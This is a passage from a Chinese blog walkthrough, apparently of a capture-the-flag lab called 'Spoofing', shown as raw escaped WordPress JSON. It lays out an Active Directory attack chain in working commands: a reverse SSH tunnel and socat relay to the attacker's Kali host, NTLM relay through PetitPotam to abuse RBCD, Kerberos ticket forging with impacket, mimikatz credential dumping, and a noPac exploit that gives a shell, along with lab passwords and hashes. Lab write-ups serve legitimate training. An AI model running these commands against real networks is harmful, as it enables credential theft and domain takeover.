\/\/ ssh\u516c\u94a5\u767b\u5f55\u9776\u673a\uff0c\u5e76\u5728\u9776\u673a\u76d1\u542c79\u7aef\u53e3\uff0c\u5c06\u6d41\u91cf\u8f6c\u53d1\u5230\u672c\u5730kali80\u7aef\u53e3\nssh -i ~\/.ssh\/id_rsa root@39.98.122.137 -R \\*:79:127.0.0.1:80\n\n\/\/ \u5728\u9776\u673a\u672c\u5730\u5efa\u7acb\u4ee3\u7406\uff0c\u76d1\u542c80\u7aef\u53e3\uff0c\u5c06\u6d41\u91cf\u8f6c\u53d1\u523079\u7aef\u53e3\nroot@ubuntu:~# nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &<\/code><\/pre>\n\u603b\u4f53\u6548\u679c\u5c31\u662f\u5c06\u9776\u673a80\u7aef\u53e3\u6d41\u91cf\u7ecf\u8fc779\u7aef\u53e3\u4e2d\u8f6c\uff0c\u8f6c\u53d1\u5230\u672c\u5730kali\u768480\u7aef\u53e3<\/p>\n
![\"spoofing9\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing9.png\")
<\/p>\n
\u6d4b\u8bd5\u4e00\u4e0b\uff0ckali\u76d1\u542c80\u7aef\u53e3\uff0c\u8bbf\u95ee\u5165\u53e3\u673a80\u7aef\u53e3\uff0c\u76d1\u542c\u6536\u5230\u8bf7\u6c42<\/p>\n
proxychains4 -q curl http:\/\/172.22.11.76:80<\/code><\/pre>\n![\"spoofing10\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing10.png\")
<\/p>\n
\u63a5\u7740 ntlmrelayx \u76d1\u542c\u8ba4\u8bc1\u8bf7\u6c42\uff0c\u5229\u7528 PetitPotam \u8ba9172.22.11.26<\/code>\u673a\u5668\u4f7f\u7528 WebClient \u5411 ntlmrelayx \u53d1\u8d77NTLM\u8ba4\u8bc1\u8bf7\u6c42\uff0c\u7136\u540e ntlmrelayx \u518d\u5c06\u622a\u83b7\u7684\u8ba4\u8bc1\u6d41\u91cf\u4e2d\u7ee7\u81f3DC\u7684 LDAP \u670d\u52a1\uff0c\u4ece\u800c\u4fee\u6539xr-desktop$<\/code>\u673a\u5668\u8d26\u6237\u7684msDS-AllowedToActOnBehalfOfOtherIdentity\uff0c\u8ba4\u8bc1\u540e\u5c31\u53ef\u4ee5\u5229\u7528xr-desktop$<\/code>\u8d26\u6237\u6253172.22.11.26<\/code>\u7684RBCD<\/p>\nproxychains4 -q python3 ntlmrelayx.py -t ldap:\/\/172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access\nproxychains4 -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80\/pwn.txt 172.22.11.26<\/code><\/pre>\n![\"spoofing11\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing11.png\")
<\/p>\n
RBCD<\/h4>\n
\u4ee5 xr-desktop$<\/code> \u7684\u8eab\u4efd\u8bf7\u6c42 Administrator<\/code> \u7528\u6237\u7684 Kerberos \u670d\u52a1\u7968\u636e\uff08TGS\uff09<\/p>\nproxychains4 -q impacket-getST xiaorang.lab\/XR-Desktop\\$ -hashes :6c69bbd5d575fa6f5b4d3eee58f9b669 -dc-ip 172.22.11.6 -spn cifs\/XR-LCM3AE8B.xiaorang.lab -impersonate administrator<\/code><\/pre>\n![\"spoofing12\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing12.png\")
<\/p>\n
\u8bbe\u7f6e Kerberos \u7968\u636e\u7f13\u5b58\uff0c\u5229\u7528\u7968\u636e\u6a2a\u5411\u79fb\u52a8\u5230\u57df\u63a7\uff0c\u62ff\u7b2c\u4e09\u4e2aflag<\/p>\n
export KRB5CCNAME=administrator.ccache\nproxychains4 -q impacket-psexec 'xiaorang.lab\/administrator@XR-LCM3AE8B.xiaorang.lab' -target-ip 172.22.11.26 -codec gbk -no-pass -k<\/code><\/pre>\n![\"spoofing13\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing13.png\")
<\/p>\n
flag{404f72c4-e21e-41b5-b1d7-491c75c96709}<\/code><\/pre>\nflag4<\/h3>\n
\u52a0\u4e2a\u7ba1\u7406\u5458\u8d26\u6237\u4e0a\u4f20mimikatz\uff0c\u7136\u540esystem\u6743\u9650\u6293\u5bc6\u7801\uff0c\u80fd\u6293\u5230zhuanghui<\/code>\u7528\u6237\u7684\u54c8\u5e0c<\/p>\nmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt<\/code><\/pre>\n![\"spoofing14\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing14.png\")
<\/p>\n
NoPac<\/h4>\n
\u7528adfind\u53ef\u4ee5\u770b\u5230zhanghui<\/code>\u5728MA_Admin\u7ec4\uff0cMA_Admin\u7ec4\u80fd\u591f\u521b\u5efa\u7528\u6237\u8d26\u6237\uff08\u4f46\u662f\u81ea\u5df1\u4f20adfind\u8dd1\u4e0d\u51fa\u6765\uff09<\/p>\nAdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++ > 2.txt<\/code><\/pre>\n\u6700\u540e\u901a\u8fc7 nopac \u4f7f\u7528 zhanghui<\/code> \u7684NTLM\u6a21\u62df Administrator<\/code> \u7528\u6237\uff0c\u521b\u5efa\u5b50\u5bf9\u8c61\uff0c\u901a\u8fc7 LDAP \u4e0eDC\u901a\u4fe1\u5e76\u5f00\u542fshell\u4ea4\u4e92<\/p>\nproxychains4 -q python3 noPac.py xiaorang.lab\/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell<\/code><\/pre>\ntype C:\\Users\\Administrator\\flag\\flag04.txt<\/code><\/pre>\n![\"spoofing15\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing15.png\")
<\/p>\n
flag{7511c580-c6ba-4e65-99cf-8ea30cf5bf0a}<\/code><\/pre>\n<\/div>","protected":false},"excerpt":{"rendered":"
Spoofing \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 Tomcat\u6587\u4ef6\u8bfb\u53d6\u548c\u6587\u4ef6\u6267\u884c\uff08CVE-2020-1938\uff09 MS17-010 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-963","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":910,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=963"}],"version-history":[{"count":1,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/963\/revisions"}],"predecessor-version":[{"id":964,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/963\/revisions\/964"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"spoofing1\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing1.png\")
<\/p>\n![\"spoofing2\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing2.png\")
<\/p>\n![\"spoofing3\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing3.png\")
<\/p>\n![\"spoofing4\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing4.png\")
<\/p>\n![\"spoofing5\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing5.png\")
<\/p>\n![\"spoofing6\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing6.png\")
<\/p>\n![\"spoofing7\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing7.png\")
<\/p>\n![\"spoofing8\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/spoofing8.png\")
<\/p>\n